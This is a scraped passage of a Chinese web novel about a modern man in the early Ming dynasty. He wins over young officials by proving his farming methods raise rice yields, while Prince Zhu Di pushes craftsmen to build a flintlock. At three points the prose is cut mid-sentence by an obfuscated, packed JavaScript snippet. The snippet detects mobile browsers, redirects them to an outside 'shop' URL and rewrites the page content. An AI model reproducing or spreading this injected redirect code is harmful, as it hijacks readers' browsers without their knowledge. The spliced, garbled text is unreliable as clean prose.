但是当李工匠掏出已经冷却好的铁片给他后,他的眼睛,那是直接就亮了起来。 “这铁片!” 随着朱棣的一声惊呼,他们很快又开始了讨论与尝试。 而这时的朱安宁和宋慎,已经显得有点多余。 他们便索性退回了詹事府等人所在的树下。 此时的詹事府众人,早上点卯起得早,一整个早上又都在和土地爷在战斗,此时已经精疲力尽。 竟是尽数靠在那树下,或者相对相互靠着背,睡了过去。 “这么累啊……”朱安宁看着睡得七扭八歪的,官袍早就脏兮兮的众人,不由得砸吧了下嘴巴。 “那我们也回去休息吧,小宋大人。” “朱 大人且叫我小宋就行……” 宋慎行了个礼,提了个意见。 而朱安宁也懒得客套,便直接点了点头。 “那小宋,走吧,晚些再回来叫他们。” “就放他们在这里?” “这里怎么了?我永乐庄治安可好了,没有歹人的……嗯……现在应该是没有的了。” “不是……朱大人,我的意思是,这样会不会不太好。” “有什么不好的,是他们自己睡着的,不管了,本大人也困了,回院里喝茶了!” 朱安宁也没管那么多,是直接迈步就往自己的小院走去。 他也是困的…… 这两天好像回到了以前上班时的作息那般,就是突出一个痛苦。 现在难得是中午时间,早点休息为妙。 他径直推开门,然后发现宋慎是一脸无奈地跟了上来。 两人进到院子后,他又把院门关上。 带着宋慎他去到了树下茶桌前,舒舒服服地躺下,开始休息。 朱安宁是长舒了一口气,而宋慎却还是始终有些拘谨。 实际上他和朱安宁也不是很熟。 而且现在朱安宁可是他的主官,他也不敢太过放开。 “小宋,放松些,下午我们还得回田里呢。” 本来听着朱安宁话已经放松了些许的宋慎,那是在完整听完话后,惊呼了起来。 “还回?!” “快一千亩地啊,今天才干了多少,再这么拖下去,我还种不种地了?” “不是……朱大人,我们是真的过来种地的?” 宋慎终于问出了这个问题。 也是把朱安宁给逗乐。 “不然呢,带你们过来体察下民情,体验下农民们的苦日子,然后再放他们回詹事府里面继续混吃等死?” 难道不是么? 宋慎差点脱口而出。 但是他却忍住了。 两人对视了半晌,宋慎才斟酌出了合适的语句。 “朱大人,我等确有辅佐太子之责,但是下官们,怕是不太能接受这般安排啊。” 他说得委婉。 什么叫不太能? 那是全不能! 朱安宁听完后也是笑了起来。 不能的话,他给个理由不就行了么。 多大点事。 他拍了拍宋慎的肩膀,说道:“休息好,下午带你们去看点东西,他们就知道为什么要种田了。” 先喝点水,休息吧,下午还有很多事要干呢。 朱安宁的话,刚落下。 院中又来了两人。 是夹着一堆纸张的方孝孺,和朱安宁的管事成梁。 两人是没料到院子里还有个宋慎的。 特别是方孝孺。 他先是一惊,然后便是喜上眉梢。 “相林!” 方孝孺唤了声,脚步都快了不少。 “希直?”宋慎也是叫了出声。 这两人的样子,是把朱安宁弄得一生鸡皮疙瘩。 心里想的是这里又不是成都……不会吧……不会吧,这两人,历史书上可没有写这些事情嗷。 “你怎么在这?!” 是方孝孺率先发问。 “我现在是詹士府主簿了,主要职责便是辅佐朱大人。”宋慎是老老实实回答。 “你,辅佐朱哥?” 方孝孺是点了点头。 这般反应让宋慎是一阵惊讶。 只觉得现在这方希直怎么有点超然的感觉。 情绪波动那是比以前少了许多,感觉都有点和以前不一样了。 不由得让宋慎抬头多看了两样。 “相林,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378812|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么了?” “没有……就是觉得你有点不一样了。” “跟着朱先生学了些东西,自然是不一样了。” “嗯?” 宋慎听得出,这可不是什么反讽,而是发自真心的话语。 那是让他张大了嘴巴。 怎么,才来了几天,这方希直就服气了? 不止是服气,好像还有点佩服的感觉? 这明显不对劲…… 方孝孺也是看出了宋慎不对头,但是他却也没有解释太多。 而是坐到了朱安宁的身边,拱了拱手。 开口道。 “朱先生,今日我让成管事召集了全庄的农夫。” “嗯?怪不得我说没看到人,今天。”朱安宁拿着茶杯,一时间有些愣神。 “是先生您交代我的,让我叫农夫们一些最基本的字句啊。” “哦对对对,怎么样……那些家伙应该是不太愿意吧。” 朱安宁也是立马想起了这是自己布置的任务。 只是今天确实是有点累,一时没反应过来。 他让方孝孺去搞这事情,不过是想开个头而已。 朱安宁也没有多大期待,毕竟要说服这群完全没有念过书的人去接受一些教育,这事还是会有一些阻碍的。 他只是想让方孝孺先行试探一下,不行再想其他办法。 “今日庄里的百姓们都很配合,虽然先生定的时间很紧,但是只是让他们认 些字,不要求写的话,还是可以的。” “做不到也没关系……嗯?你说他们配合?”朱安宁都想好安慰的话语了,结果方孝孺却说出了让他无比意外的话语。 “你说他们很配合?”他又再次确认了一句。 得到的依旧是肯定的答复。 “是的。” 朱安宁看着方孝孺,看了许久。最后试探性地问道:“你……你是要挟他们了?还是说做了什么事情。” “我只是说,朱大人需要诸位帮忙,仅此而已。” “嗯?然后他们都答应了?” “是的,他们说要是能帮到朱爷您,他们什么都愿意。”是成梁代替了方孝孺回答。 这让朱安宁是无比震惊。 现在倒不是说村民们的反应了。 而是方孝孺居然如此醒目?! 之前自己认识的犟种呢? 一时间,他难以把历史中那个十族耐诛王和眼前这个气质完全不一样的年轻,重叠在一起。 “这么简单就搞定这件事情了?”朱安宁还是有点难以置信。 “至诚胜于至巧而已。这不是先生教我的么?” “我什么时候……”朱安宁刚想反驳,但是却又马上想到了,估计又是王阳明的语录…… 这家伙,莫非真的是个天才??! 要不……要不把语文资料里那些拓展内用尽可能抄给他? 他好像真的有点东西啊。 朱安宁突然有点心动。 但是他知晓现在自己可没多少时间行动。 便只能连忙点了点头说道:“如果他们愿意的话,你就好好教……那群小孩也交给你了……这么多事,真是辛苦你了……” “先生,事并不多,把世间当修行的道场,求道须深下去耐住寂寞,久久为功,只求力所能及。” 他拱手回了一串颇有哲理的话语。 朱安宁自然是知道大概率又是心学的话语。 但是宋慎是不知道的啊。 他直接听完方孝孺的话后,呆在了那里。 这些话语是如此的烂白,但是经方孝孺口中说出,却是蕴含了相当深刻的道理。 有种大道至简的气息。 让宋慎一时间有些恍惚。 这还是自己认识的那个方孝孺? 不对劲,很不对劲! “之前总是有些问题想要讨教先生,但是先生总是忙,今日大概是得闲了……” 而方孝孺突然又开了口,那是直接把朱安宁激了个激灵。 “啊,成梁,庄里的田地都要收成了吧?你……跟我说说这时间是怎么安排的,庄里需不需要我去借点什么农具之类的。” 朱安宁,连忙揽住了成梁,走到了院子的另一边。 “那个方孝孺啊,你先帮我招待下宋大人吧!” 心学? 朱安宁他懂个屁…… 再不跑,又要被缠上了…… 第二百零九章 什么物资这么重要 躲方孝孺是一回事,但是这和成梁聊的事,也确实是正事。 眼看着就就要收成了。 你说朱安宁不紧张是假的。 现在永乐庄人口可不少,他总不能说一直养着大家,这也是违背了他的初衷的。 “朱爷,明日就开始收成了,好几个本地的老农说了,接下来几日应该都是无雨,要尽快收了晒。” “行,你来安排,有什么问题尽管找我就行。” 朱安宁撂下话语,回头瞄了眼方孝孺已经和那宋慎,确定他们聊上后,是连忙溜回了车里。 詹事府的人都很累的啊,他们现在都在外面睡觉。 那自己是不是也应该睡一下呢。 打开风扇,朱安宁是麻利地脱下了衣服,然后换回了舒适的T恤和短裤,瘫到了床上。 —————————————— 军帐中,沐英正看着朱安宁给的舆图复刻,在那皱眉。 元军的抵抗超乎了他的想象。 虽然他占尽了地利,但是这地盘总归还是人家熟悉些。 他能很难找到机会打一个决定性的胜仗。 元人那边也看出来了,这次北伐气势汹汹,那远非前两次可比,也学会了暂避锋芒。 他们想的是等到入冬,这仗就可以消停会了。 只是没能在这个季节补充到足够的粮食,也是让元人很是难受,不过再怎么说,饿点肚子也总比死了强…… “平西侯,这仗打得难受啊……” 是蓝玉在帐篷中来回踱步。 京里那边的消息早就传了回来。 他也早就知道了自家蓝染干了什么破事…… 那是惊得一身冷汗。 幸好随之而来的还有朱标的书信。 大意是让他安心,好好打仗,这御下不严的罪过肯定是跑不了的,但是戴罪立功,才是上策。 实际上让蓝玉跑了出来打仗,还真就是让他躲过了这一轮京城剧变。 而也正是因为如此,蓝玉很想打一场大的,来点军功!好让自己安心些…… 结果元人偏偏这次就是跑的那叫一个快。 他们虽然地图详细,但是也就是在最初那一战里,杀了些敌。 很快反应过来的元人那是溜得那叫一个快。 “永昌侯,只要知道对方的大营在哪,不过是稳扎稳打过去的事情罢了。” “哎……我也知道,就是觉得这般磨过去,我们得打多久才能结束这场战事……” 两人在帐中讨论着。 比起蓝玉,沐英倒是不急不躁。 现在他就是按着地图,一个个地拔钉子。 虽然没办法歼灭太多对方的有生力量,但是只要按着这个步子打下去,迟早是要在对方大营那里打一次硬仗的。 自己老家,总跑不掉了吧。 所以沐英一直在准备的便是这场恶战。 “报!” 突然有个小兵闯了进来。 把那蓝玉吓了一跳,但是回头一看,是沐英的人,他也没敢呵斥。 “什么事。” “后方又送了一批物资上来,但是这次特别说有信需要交给平西侯。” “给我的?” 沐英有些疑惑。 但是开始打开了信件看了起来。 脸色那是突然涨红,有些激动了起来。 这让蓝玉是莫名其妙。 不就是一批物资送了上来么? 这仗打的本就富裕,目前来说强度也不高,怎么就激动了呢…… 难不成送了什么重要东西上来? 这般猜测着。 蓝玉也在等待对方的回答。 只是可惜,把书信看完的沐英并没有任何解释。 而是急切地对那小兵说道。 “新到的物资在哪,马上带我去看!!!” 他喊得急切。 这下,不仅是那小兵被吓了一跳。 连蓝玉都露出了诧异的目光。 沐英,可是出了名的不容易激动的人…… 怎么? 今儿有点奇怪。 看着沐英急匆匆跑了出去,蓝玉也是连忙跟上。 他倒是要看看,是什么事情。 ———————————— 中午睡觉很舒服。 因为床很软。 天气虽然热但是风扇在古代也已经是奢华配置。 起身的朱安宁,又一次穿好了服饰,下了车。 果不其然,他看到是在院子里休息的宋慎。 这家伙躺在躺椅上,看起来也是睡得不错。 大概是朱安宁关车门的动静有点大,宋慎也是睁开了眼睛,看着原来是朱安宁,便连忙起了身。 “朱大人。” “小宋,起来的话,我们就去外面叫人吧,詹事府的大伙应该也休息好了,我们也该上田了,嘻嘻。” 朱安宁一边说着,一边往院门走去。 宋慎自然也是只能赶紧跟上。 外面休息的那批詹事府官员,此时也已经醒了不少。 “大伙都休息好了?” 他也没管是不是全部人都已经 清醒。 直接就是大喊了起来。 这下,没醒的也得醒了。 “休息好的话,我们去看点东西吧。那个叫什么来着……邢浦窦对吧,你们不是质疑种田算不算是为君分忧么?” 朱安宁撂下话语,又一次走了起来。 刚才被点名的邢浦窦才刚睡醒,正是懵逼的时候。 幸好是燕晓柳拉了他一把,他才回过味来。 “又想让我们去种地!下午我是打死不去了……”他咬着牙对燕晓柳说道。 当然,语言上是抗拒的,人还是得跟上的。 毕竟朱安宁还是他们的主官。 “不去你能怎么办?回家告诉你老爷子,说你不干这官了,你看你老爷子会不会打死你?” 燕晓柳皱眉回了他。 其实恼火的不仅是他们,大部分詹事府的官员现在都是迫于朱安宁官职高,没办法顶嘴而已。 “能不能让我们家中长辈去弹劾他啊,就说他胡作非为……” “这倒是个路子,我本还以为他能带着我们做什么正事!没想到居然是下田!我们就算活干得比农夫还好又有什么用嘛!” 两人说着话,跟着人群走到了村道上。 朱安宁走在最前面,他能听到后面有些喧闹的声音。 也自然是知道,大概率是这群人在骂自己。 但是,这又有什么关系咧,反正自己可是奉旨耕田! 宋慎略微远离了些那群人,走到了朱安宁的旁边。 明显是不想参与到后面人的讨论之中。 这般姿态也是让朱安宁点了点头。 只觉得这小宋,还可以啊。 一群人浩浩荡荡地踏上了官道,自然而然地引来了沿途不少行人的侧目与议论。 尤其是队伍后面那群显得颇为颓废且有些脏的人,他们身上竟然还穿着官袍,这副模样更是格外引人注目。 “咦?这是怎么回事?这群人也是犯官吗?”路边一位皮肤黝黑,满脸皱纹的老农好奇地问道,他手中的锄头还沾着些许泥土,大概是上午劳作时沾上的。 “你真是猪脑子啊,犯官怎么可能没有押运的兵爷呢……你看到兵爷了吗?”大爷身边站着个身材瘦弱,穿着破旧衣裳的农夫,他不屑地反驳道。 “好像也是啊……但是这也太脏兮兮了吧,简直像是刚从泥潭里爬出来一样。” “说不定他们真的下过田呢……早上我路过那永乐庄旁边的荒地时,好像看到一群官爷在下田劳作。” “你开什么玩笑,官爷下田?哈哈哈,他们会种地?他们能分得清五谷我都算他们厉害咯。”人群中,身材魁梧,声音洪亮的农夫大笑起来。 “也……也是,可能是我眼花了吧?不过我确实是在那个江宁屯那边看到了……”说看见官爷下田的农夫,也是有点怀疑是不是自己眼睛看错。 “江宁屯?那不是划了万亩地给军屯,说要种植新粮的地方吗?” “哦哦哦,我想起来了,这段时间城里确实闹得沸沸扬扬的,说是那地方能亩产十石的粮食是吧。” “对,你说这事儿邪乎吧,确实传得很广,但是你说不对吧,你看这军屯都开始开荒了……” “嘿,管他呢,咱们还是先过好自己的日子吧,这两日也该要收成了。” “也是,但是收上来之后,给咱的朱皇帝交一份,还得给地主交一份,剩下的才是我们自己的……哎……” “别叹气了,只恨自己不是永乐庄的人啊……” “诶,说到永乐庄,你们看,那个不是朱庄主吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378813|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好像真的是诶……”几位农夫纷纷顺着他手指的方向看去,看见的自然是走在众人最前头的朱安宁。 “听说朱老爷升大官了啊。” “好像是……” 几个农夫,又开始议论了起来。 詹事府的一众人虽然听不到老农们在说些什么,但他们的眼睛可没瞎,清清楚楚地看着那几人用手指了指他们,又交头接耳地议论着什么,心中只觉得无语至极。 这群平日里高高在上的官员们,何时受过这样的待遇,一时间竟是哭笑不得。 虽然先前自己也不是什么朝廷命官。 但是好歹也是有官身的。 怎会沦落到这般田地嘛…… 朱安宁走得极快。 他七绕八绕。 很快就到了河边的一片地里。 并不是永乐庄的地。 这地方靠近河岸,算是相对易到达的地方。 他站在河边静静地等着众人聚集。 然后也给了时间让他们嘀咕。 直到没有人再说话时,他才开腔。 “你们家中长辈,都是在朝中当官的,但是你们这群人,应该不至于连稻谷都没看过吧?” 朱安宁先问了个至关重要的问题。 他是认真发问的。 但是众人听着却又觉得有些嘲讽。 “朱大人,我们虽然农事不太行,但是这等常识,还是具备的。” 是燕晓柳回了话。 “好,看得出来就好,那你们给我看看这几片田,收成算正常 还是不正常,随意看,别踩着别人的稻谷就好。” 他随手布置了个任务,然后便找了片阴凉处,坐了下来。 站在田边的一众詹事府官员们自然是大眼瞪小眼,不知道朱安宁这命令是什么意思。 最后还是宋慎和燕晓柳先动了起来。 前者是,朱大人人说什么就是什么咯。 后者则是,我就看看你要耍什么花样……的心情。 见到有人动了起来。 后面的人自然也就是从众了。 虽然嘴上不断在口嗨朱安宁。 但是都不是傻逼,都知道自己的主官是可以任意拿捏自己的,没有人想被人抓到小辫子。 便是在燕晓柳的带领下,装模作样地开始看那几片田。 “燕晓柳,这田算收成好还是不好?你真的会看?” “父亲带我去看过家中的俸禄田,这点事情还是看得出来的,怎么,你们连家里的俸禄田都不关心?” “嘿,我们怎么关心,那些东西都是老爷子和大哥的,我们拿点碎银过日子就是了。” 有人调笑了声,也是引来了众人的附和。 这便是庶出的情况。 他们很难继承东西。 “啧……行吧,这几片田,看着稻穗就还算饱满。”燕晓柳掐了掐那稻子,给了众人一个判断:“应该也就是普普通通的收成吧,两石是有的。” “哎呀你们说,这么一片田,收两石,但是那些农夫们却要伺候这么久。” “……别的不说……早上确实挺累的。” 几个人听完燕晓柳的话,居然对农夫们产生了一丝同理心。 当然,更多的也就是在抱怨天气热。 以及,都是想让燕晓柳快点看完,去朱安宁那里交差。 宋慎倒是比起他们要专注很多。 可惜的是,他根本看不懂。 但是这也并不妨碍他开始想燕晓柳提问。 “燕大人,这田靠着河岸,应该算是种得不错了吧,我看越里面的好像长得越不好,你看这几片田。” 宋慎喊了句。 燕晓柳是认识宋慎的,他也好奇地跑了过去。 “嗯?确实如此……哦,我明白了,应该是浇水不便,这几个犄角疙瘩,被农夫略过了吧。” “哎,要是能像永乐庄那么多水渠就好了,先前我来过这里,看永乐庄农夫们浇水都很是轻松的样子。” 宋慎说的话是无心。 但是好几个还算有点脑子的詹事府的人,确实一下就惊醒了过来。 对啊,为什么永乐庄到处都是水渠啊! 几个人都不约而同地看向了朱安宁。 “看完了?这地我问过了,大概就两石,刚才我也听到燕晓柳说了,你们也认为是两石对吧。” 第二百一十章 我想要你们的肉体 “一年辛劳,如果算两季的话,也就是四五石,全国有无数块这样的田……养活了你们,养活了我,养活了这个大明!这点东西你们还是懂的吧。” 朱安宁丢了块石头,溅起一滩水花。 河流很快又抚平了那波纹,像是从来没有石头丢下一样。 没有人接朱安宁的话。 但是还是有人点头表示赞同。 不懂农事,但是他们还是听得懂人话的。 朱安宁也没管他们,而是继续说了下去。 “说农业辛苦,谁不知道。然而,若只知劝课农桑,而不思改进农耕之法,提高农产之量,百姓之辛苦岂非徒增?国家之储备岂非有限?” 他难得文绉绉了一把。 毕竟也是少詹事了嘛,天天一副没有素质的样子,也不是个事。 “改进之法?”宋慎提炼重点的能力非常强,他一下就听出了朱安宁想表达的重点。 这种阅读理解能力。 怎么看都是个适合高考的料子。 可惜长在了明朝,生在了名家,没有办法吃一趟高考的苦头让人生圆满。 “朱大人,莫非是你觉得兴修水利就能让收成变好?” 宋慎继续说了下去。 看到小宋同志这么醒目地接了话。 朱安宁那是越来越喜欢这小伙子。 什么完美秘书…… 哦不对,他性别男…… “水利其中一环而已,江南水乡,水利够好了吧,但是产量也就是三石有多。” “那朱先生莫非还有其他法子?” 对于宋慎的问题,朱安宁没有回答。 而是突然站了起来,拍了拍袍子。 “先跟上。” 他迈开了步子,三步并两步就跳上了田埂那里,顺着往官道的方向走去。 朱安宁走的是回永乐庄的方向。 还在河边的众人那自然是疑惑不已。 但是却也没有人发问。 一众人默默地跟了上去。 又是把刚才路边歇息的农夫们又给吓了一跳。 “怎么又回来了?这群犯官。” “都说不是犯官咯!” “嗨,一群人是脸都是黑的样子,至少也是遇上了什么倒霉的事情吧。” 几个老农又讨论了起来。 农夫们也没有什么忌惮,就是在那里指指点点。 让一众詹事府官员们多少有些难受。 所幸他们很快就路过了那里。 拐了个弯,就是永乐庄。 朱安宁没有带他们走向铁冶那边,而是拐到了更偏僻的乡道上。 依旧是河边的田,依旧是水稻。 他又是寻了个阴凉的地方,靠了过去,懒洋洋地说道。 “这几片田和刚才那几片离得不远吧,又是同一片地,你们对比下,猜猜产量?” 他随口下了命令。 一众人那是面面相觑。 但是还是听话地散了开来。 开始在田间穿梭。 只听那刑簿窦大喊了一声:“这都压弯了啊,太夸张了吧。” 他的惊呼,让众人都围了过去。 包括燕晓柳和宋慎。 “这……” 几人是看着稻谷,都觉得对比有些大。 之前隔壁村的稻谷,不能说伺候得不好。 挂穗什么的看着也正常。 但是没有对比就没有杀害。 现在看到朱安宁这边的挂穗情况。 就算是不太懂农事的他们也是相当震惊的。 这明显就是要高产很多啊。 有几个脑子活泛的詹事府官吏,已经回过味来,他们没管那么多,撒腿就往更远的地方跑去。 他们想看看,是不是所有的田都是这般。 朱安宁也是看到了撒开脚丫就跑的众人,他微微一笑,并没有阻止。 看来,这群人并不蠢。 很好…… 他也不想带蠢逼队友,他对傻逼过敏…… 燕晓柳一边跑,一边观察。 果然如宋慎所言。 永乐庄遍布沟渠,都通上了水…… 但是就是浇水就能浇出这样的水稻? 不可能吧。 他尽可能地跑到了一个角落头。 然后气喘吁吁地开始观察了起来。 这片田……一样是看着就高产的…… 不可能吧! 不死心的燕晓柳,那是不管自己的官袍已经沾满泥土,直接就跑到了更远的地方。 他一头扎进了那田里,捧起稻穗就看了起来。 “哈……哈哈……我就说,怎么可能同一片地,养出来的稻谷会差那么远……哈哈……这里的看着收成就像是两石的样子,不……不怎么样。” 他咧嘴笑了起来。 然后,一名农夫直起腰,是有些麻木的样子。 农夫诧异地看了眼燕晓柳,愣了许久,才看清对方身上穿的是官袍。 “这……这位官爷?你……你是在看我种的地?” 农夫很是拘谨,一副很少与人说话的样子。 “老丈,您继续忙您的, 我就是看看这地的收成,今年咱们这地界还算风调雨顺,这收成还可以吧。” “今年听闻其他地方都有大旱,但是上苍保佑,我们这地界没出什么大事,是安安稳稳地把这茬粮食种了出来。” “呵呵,永乐庄这里靠河,只要不是太干旱,应当是没什么事的。” 燕晓柳擦了擦汗,想着和这老丈攀谈两句便离去。 没想到那老丈却是愣了愣。 然后苦笑着回了燕晓柳。 “大人说笑了,我这地是郑村,永乐庄在隔壁。” 只见老人抬起手,指了指不远处有沟渠的那几片田。 “我呐,没这福分,当不了朱庄主的佃户,不过呀,他们挖渠时也没有吝啬,是直接把水渠挖到了我这边,我老汉浇水可是方便了不少,也算是沾了他们的光……” 老人的话语。 像放了定身咒似地,把燕晓柳定在了那里。 久久不能言语。 远在河边的朱安宁半躺在那里。 那是相当的舒服。 慢慢的,不少詹事府的人,回到了这岸边。 他们站在不远处。 在交换自己的见闻。 而相当部分人,是沉默着,没有言语。 宋慎回来得还算快,毕竟他的体力支撑不了他走太远。 他只是在附近看了看。 得出的结论就是,这永乐庄的地,就算是他这种门外汉都看得出来,收成一定会比隔壁村子好…… 人们陆续回来。 都是用古怪地眼神看着朱安宁。 直到最后一个,跑得最远的燕晓柳喘着粗气回到了这边。 朱安宁才起身。 “大家都回来了?看清楚了吧。” 没有人回答他的话语。 当然,这也是在情理之中。 他一直保持这般高的姿态,这群人不服气,那再正常不过。 “没看清楚就我来说吧……我永乐庄的水稻,保守比附近的收成要高三成,用的是同一方水土。” “敢问朱大人。”还在喘气的燕晓柳,终于是按捺不住,问道:“这永乐庄中的作物,莫非就是传了许久的新粮?!” 像他这般抱着这种想法的人有许多。 他们都接受不了这里种的是普通水稻。 差距太大了。 “不是,普通水稻而已,就是朝廷发下来的种粮,没什么特殊的。” 朱安宁摇了摇头。 他看到了过半人都露出了惊愕的表情,而少部分,虽然不惊愕,但是露出的却是……不相信的表情…… “不信你们尽管问。” “朱大人说的是真的,我遇见了一个农夫,他告诉我就是普通水稻而已……” 刑簿窦忽然开了口。 他排开了众人,对朱安宁行了个礼。 “那农夫说了,是朱大人带着几个人,教会了他们种植之法,还是提供了肥料,帮忙修整了水利。” “我带的那几个人就是周王,燕王等人,说是我教的,不如说是周王燕王带着永乐庄的农夫们,种出了这一大片田,一大片轻松亩产破三石四石的田。” “那农夫话里话外,都是对朱大人和燕王周王等人的感谢。”刑簿窦接上了话语。 这并不是拍马屁,他只是在阐述事实。 “刑大人所言非虚,我听见那农夫确实是这般表态的。” 几个人附和了两句。 让人群是骚动了起来。 而朱安宁是等到众人讨论结束后,才开的口。 “种植方法恰当,能够提供足够的肥料,田地的产量就是天壤之别,你们认可么?” “如果认可的话,那这些法子,我都可以教给你们。” “像个农夫一样,好好种地,好好学好怎么种地,不止是普通水稻的种法,新粮我也会教你们怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378814|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么去种。” “如果成了,你们的名字就会记到史书里,即便可能只是一笔带过,可能就是洪武朝詹事府众官这样的写法,你们依旧会被记到史书里,因为你们做的事情将影响大明千秋万代。” “你们的成就将会远超你们的大哥,你们的父辈。” “我不要你们的心,我只要你们的肉体,我要你们好好帮我种地,好好去记录,好好去分门类别的记录,文书一类的事情,你们应该比我要熟悉得多。” “怎么样,诸位,这笔买卖划不划算?” 朱安宁绕着众人,走了一圈又一圈。 他的话语,像狐媚般撩动了这群庶出子弟们的心魄。 他们都没想到朱安宁会说得那么直接。 一群人都是隐隐知道朱安宁带着自己跑来跑去,定是有所图的。 怎么……就图自己的肉体? 心就不值钱了? 他奶奶的,怎么说得这朱大人像是秦淮河边的恩客似的。 几人都是惊疑不定地互相看了一眼。 只有宋慎叹了口气。 他知道这群人一定心动了。 出身在大家里,让这群庶出子弟,得到了相当高的眼界。 同时却又无法给他们提供足够的舞台。 基本每个到詹事府履职的人,都挣扎过一段时间。 他们也想做出些事情来,让自己家里人看看自己,也是有出息的。 然后…… 就没有然后了。 叶子牌,还有无所事事的日子,很快就磨去了他们的大志。 这群人最后都趋同地长成了一个样子。 而现在有个人跳出来说要他们的肉体。 他们就能收获到作为官吏至高无上的荣耀,进史书?! 这个诱惑有点大。 不对…… 是非常大! 如果是在中午之前,朱安宁说这番话。 他们只会觉得自己主官和那些老臣很像。 说话一套一套的,大饼是一张又一张的,实际是,什么都不会的。 车轱辘话,是可以翻来覆去说的。 而今天下午这两趟看田之旅。 是结结实实改变了他们的想法。 这主官,是真的有点东西的! 所以说,那些传闻应该不是空穴来风。 燕晓柳第一个弯下了腰。 他行了个相当规矩的礼。 然后是刑簿窦…… 接着是一个接一个的詹事府官员们,都弯下了腰。 当然,也包括了宋慎。 “全凭大人差遣。” “诶,可不是我差遣,这种田的是,陛下和太子,也是认可的,你们尽管放心!咱们呀,可是奉旨耕田!!!” —————— “燕王殿下,这东西真的值得造?” 铁冶的工匠盯着图纸,严肃地对朱棣问了句。 现在造火绳枪,就已经给了他们极大的压力。 而现在在火绳枪还未完全实现量产的时候,又说要造另外一种。 属实是压力有点大。 他们都觉得可能不太现实。 但是朱棣却咬牙回了句。 “十次成一次,都得给咱造,造多了,自然就能熟练些!” “但是刚才那所谓的弹性铁片咱们试过了呀,还是有些脆。” “那应当是我手法有问题,你们让我再改进下!” 一群人七嘴八舌地又开始讨论燧发枪的事。 朱棣提了许多意见,包括图纸里面那些具体的器件,他都好好地解释了一番。 并不是说他的知识有多超前。 而是完整看过火绳枪图纸的他,举一反三的能力就是强。 燧发枪,不仅是他,他大哥朱标,老爹朱元璋,那是已经盯上许久了。 要不是朱安宁反复说做不出来,他们是不会罢休的。 而现在居然说有点点希望能搞出来。 朱棣无论如何是不会放弃的。 火绳枪虽然解决了非常多的缺点,但是并非是毫无优点的存在。 朱棣是敏锐地意识到了,也许,燧发枪才是火器的终极形态…… 火绳枪若是说可以改变战场形态的话。 那燧发枪的出现,也许改变的就是战争的方式了。 “李工匠,你的铁片是用遵化矿造的?” “回殿下,是的。” “我这就奏请,让那边把最优质的矿石,优先供给给我们!” 第二百一十一章 怎么还是缺人手 永乐庄 …… 应当是是整个应天府,都集中在了这几天收成。 农夫们都干得热火朝天。 半年的收成都在这里了。 即便他们要缴给地主,即便他们还要缴给官府。 但是他们依旧开心。 余下的口粮,可以养活他们一家老小。 若是能存点下来,来年就能过得更游刃有余。 甚至说可以去集市上置办些东西。 这便是小农们的期望了。 至于说农忙之余有什么有趣的事情发生的话。 那便是军屯开垦,来了一堆看着就不会种田的人,在那哼哧哼哧地耕地。 有人说他们其实是官老爷,犯了事,被罚来这里。 有人说他们是下来体验生活的。 也有人说,他们大概是山里的菌子吃多了,脑子出问题了…… 总之各种各样的说法都有。 但是这群人却也没有管这些流言蜚语。 手头的活根本干不完,哪有空管这些。 “燕晓柳,你去帮那些农户们清点收成了?” 刚收起农具的朱安宁看了眼满身是汗的燕晓柳,第一天之后,他们就没有再穿过官袍过来。 脑子又没包。 “回大人……” “我都说不用大人大人了,老是称职务,也不太好。” “回朱爷……”燕晓柳换了个称呼,但是却依旧恭敬,惹的朱安宁是一阵不舒服。 “哎随你们吧。”朱安宁也只能摆了摆手。 这群人对他的态度转换,是从第二天开始的。 他们看着朱安宁锄头是挥得虎虎生风,干起来丝毫不比那些军屯的人慢。 更重要的是,众人都惊叹于他对农事的熟悉。 这些日子,他事无巨细地给他们讲了水稻的整个种植过程。 是把这群詹士府里混了好些年的年轻人,给好好上了一课。 原来里面居然有这么多门道。 原来提高产量的方法有那么多。 而且最重要的是,这永乐庄的收成结果是能够完全证明朱安宁理论的正确性的。 那些报喜的农夫们一个接一个。 都是丰收。 全部都是丰收。 按他们的说法,有些田地甚至比隔壁那些村子的产量要高五成。 这是什么概念。 全国都按朱安宁的法子来种。 怕不是第二年就能实现仓库满溢…… 他们也是终于清楚地理解了,为什么他朱安宁敢说,他们做的事情是载入史册的! 燕晓柳看了眼朱安宁,赶紧跟了上去回道。 “朱爷,这庄里的收成已经差不多了,什么时候开始种您说的玉米,土豆和番薯?” “怎么?你之前不是不信这些新粮的么?” 朱安宁边走边回道。 远处是詹士府众人在那休息。 他们早就和军屯的人熟络,就在那阴凉处一边吃东西一边聊天。 远远看着朱安宁走了过来,众人也是连忙起身行礼。 